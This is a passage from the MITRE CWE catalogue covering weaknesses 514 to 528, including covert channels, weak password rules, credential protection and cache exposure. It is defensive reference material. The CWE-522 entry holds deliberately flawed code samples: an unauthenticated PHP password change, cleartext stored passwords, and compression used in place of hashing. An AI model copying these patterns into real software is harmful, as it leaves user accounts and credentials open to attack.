CanFollow	B	205	Observable Behavioral Discrepancy	504

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

### Detection Methods

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = SOAR Partial*

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	2197

## Notes

### Theoretical

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

### Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Covert Channel

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

## CWE-515: Covert Storage Channel

**Weakness ID** : 515

**Structure** : Simple

**Abstraction** : Base

### Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

### Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		514	Covert Channel	1151

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	2119

### Likelihood Of Exploit



High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Covert storage channels may provide attackers with important information about the system in question.</i>	
Integrity Confidentiality	Read Application Data <i>If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.


### Demonstrative Examples

#### Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		968	SFP Secondary Cluster: Covert Channel	888	2197

### Notes

#### Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Storage
CLASP			Covert storage channel

## CWE-520: .NET Misconfiguration: Use of Impersonation

**Weakness ID** : 520

**Structure** : Simple

**Abstraction** : Variant

### Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

### Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		266	Incorrect Privilege Assignment	605

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	





### Potential Mitigations

#### Phase: Operation

Run the application with limited privilege to the underlying operating and file system.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		901	SFP Primary Cluster: Privilege	888	2179
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## CWE-521: Weak Password Requirements

**Weakness ID** : 521

**Structure** : Simple

**Abstraction** : Base

## Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.



## Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1391	Use of Weak Credentials	2089
ParentOf		258	Empty Password in Configuration File	589

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>An attacker could easily guess user passwords and gain access user accounts.</i>	

## Potential Mitigations

### Phase: Architecture and Design

A product's design should require adherence to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring

mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overall password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting password or passphrase may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex passwords are not desired. See NIST 800-63B [REF-1053] for further information on password requirements.

#### Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

#### Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

#### Observed Examples

Reference	Description
<b>CVE-2020-4574</b>	key server application does not require strong passwords <a href="https://www.cve.org/CVERecord?id=CVE-2020-4574">https://www.cve.org/CVERecord?id=CVE-2020-4574</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189
MemberOf	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking

CAPEC-ID	Attack Pattern Name
70	Try Common or Default Usernames and Passwords
112	Brute Force
509	Kerberoasting
555	Remote Services with Stolen Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1053]NIST. "Digital Identity Guidelines (SP 800-63B)". 2017 June. < <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf> >.

## CWE-522: Insufficiently Protected Credentials

**Weakness ID** : 522

**Structure** : Simple

**Abstraction** : Class









### Description

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ChildOf		1390	Weak Authentication	2087
ParentOf		256	Plaintext Storage of a Password	583
ParentOf		257	Storing Passwords in a Recoverable Format	586
ParentOf		260	Password in Configuration File	596
ParentOf		261	Weak Encoding for Password	598
ParentOf		523	Unprotected Transport of Credentials	1161
ParentOf		549	Missing Password Field Masking	1190

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>An attacker could gain access to user accounts and access sensitive data used by the user accounts.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

### Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

### Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

## Demonstrative Examples

### Example 1:

This code changes a user's password.

*Example Language: PHP*

*(Bad)*

```
$user = $_GET['user'];  
$pass = $_GET['pass'];  
$checkpass = $_GET['checkpass'];  
if ($pass == $checkpass) {  
    SetUserPassword($user, $pass);  
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

### Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

*Example Language: Java*

*(Bad)*

```
...  
Properties prop = new Properties();  
prop.load(new FileInputStream("config.properties"));  
String password = prop.getProperty("password");  
DriverManager.getConnection(url, usr, password);  
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

*Example Language: Java*

*(Bad)*

```
...
```

```
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

#### Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

*Example Language: C*

*(Bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java*

*(Bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

#### Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```



Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

#### Example 6:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission or storage of passwords in their OT products.

#### Observed Examples

Reference	Description
<b>CVE-2022-29959</b>	Initialization file contains credentials that can be decoded using a "simple string transformation" <a href="https://www.cve.org/CVERecord?id=CVE-2022-29959">https://www.cve.org/CVERecord?id=CVE-2022-29959</a>
<b>CVE-2022-35411</b>	Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data. <a href="https://www.cve.org/CVERecord?id=CVE-2022-35411">https://www.cve.org/CVERecord?id=CVE-2022-35411</a>
<b>CVE-2022-29519</b>	Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29519">https://www.cve.org/CVERecord?id=CVE-2022-29519</a>
<b>CVE-2022-30312</b>	Building Controller uses a protocol that transmits authentication credentials in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30312">https://www.cve.org/CVERecord?id=CVE-2022-30312</a>
<b>CVE-2022-31204</b>	Programmable Logic Controller (PLC) sends password in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-31204">https://www.cve.org/CVERecord?id=CVE-2022-31204</a>
<b>CVE-2022-30275</b>	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30275">https://www.cve.org/CVERecord?id=CVE-2022-30275</a>
<b>CVE-2007-0681</b>	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0681">https://www.cve.org/CVERecord?id=CVE-2007-0681</a>
<b>CVE-2000-0944</b>	Web application password change utility doesn't check the original password. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0944">https://www.cve.org/CVERecord?id=CVE-2000-0944</a>
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3435">https://www.cve.org/CVERecord?id=CVE-2005-3435</a>
<b>CVE-2005-0408</b>	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0408">https://www.cve.org/CVERecord?id=CVE-2005-0408</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	2126
MemberOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation
102	Session Sidejacking
474	Signature Spoofing by Key Theft
509	Kerberoasting
551	Modify Existing Service
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
600	Credential Stuffing
644	Use of Captured Hashes (Pass The Hash)
645	Use of Captured Tickets (Pass The Ticket)
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-523: Unprotected Transport of Credentials

**Weakness ID** : 523

**Structure** : Simple

**Abstraction** : Base



### Description

Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1157
CanAlsoBe		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

## Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

## Potential Mitigations

**Phase: Operation**

**Phase: System Configuration**

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it **MUST** use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

## CWE-524: Use of Cache Containing Sensitive Information

**Weakness ID** : 524

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.



### Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		525	Use of Web Browser Cache Containing Sensitive Information	1164

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Protect information stored in cache.

#### Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

#### Phase: Architecture and Design

Consider using encryption in the cache.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		965	SFP Secondary Cluster: Insecure Session Management	888	2196

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
204	Lifting Sensitive Data Embedded in Cache

## CWE-525: Use of Web Browser Cache Containing Sensitive Information

**Weakness ID :** 525

**Structure :** Simple

**Abstraction :** Variant

### Description

The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		524	Use of Cache Containing Sensitive Information	1163

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Protect information stored in cache.

#### Phase: Architecture and Design

#### Phase: Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

#### Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

#### Phase: Architecture and Design

Consider using encryption in the cache.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2196
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

## CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable

**Weakness ID** : 526

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses an environment variable to store unencrypted sensitive information.

### Extended Description

Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	312	Cleartext Storage of Sensitive Information	725
PeerOf	E	214	Invocation of Process Using Visible Sensitive Information	525

### Common Consequences



Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.

#### Phase: Implementation




If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.

### Observed Examples

Reference	Description
<b>CVE-2022-43691</b>	CMS shows sensitive server-side information from environment variables when run in Debug mode. <a href="https://www.cve.org/CVERecord?id=CVE-2022-43691">https://www.cve.org/CVERecord?id=CVE-2022-43691</a>
<b>CVE-2022-27195</b>	Plugin for an automation server inserts environment variable contents into build XML files. <a href="https://www.cve.org/CVERecord?id=CVE-2022-27195">https://www.cve.org/CVERecord?id=CVE-2022-27195</a>
<b>CVE-2022-25264</b>	CI/CD tool logs environment variables related to passwords add Contribution to content history. <a href="https://www.cve.org/CVERecord?id=CVE-2022-25264">https://www.cve.org/CVERecord?id=CVE-2022-25264</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-1318]David Fiser, Alfredo Oliveira. "Analyzing the Hidden Danger of Environment Variables for Keeping Secrets". 2022 August 7. < [https://www.trendmicro.com/en\\_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html](https://www.trendmicro.com/en_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html) >.2023-01-26.

[REF-1319]Nicolas Harraudeau. "Using environment variables is security-sensitive". 2021 April 8. < <https://sonarsource.atlassian.net/browse/RSPEC-5304> >.2023-01-26.



## CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

**Weakness ID** : 527

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

### Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		552	Files or Directories Accessible to External Parties	1193

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	

### Potential Mitigations

**Phase: Operation**



**Phase: Distribution**

**Phase: System Configuration**

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

**Weakness ID** : 528**Structure** : Simple**Abstraction** : Variant

### Description

The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

### Relationships

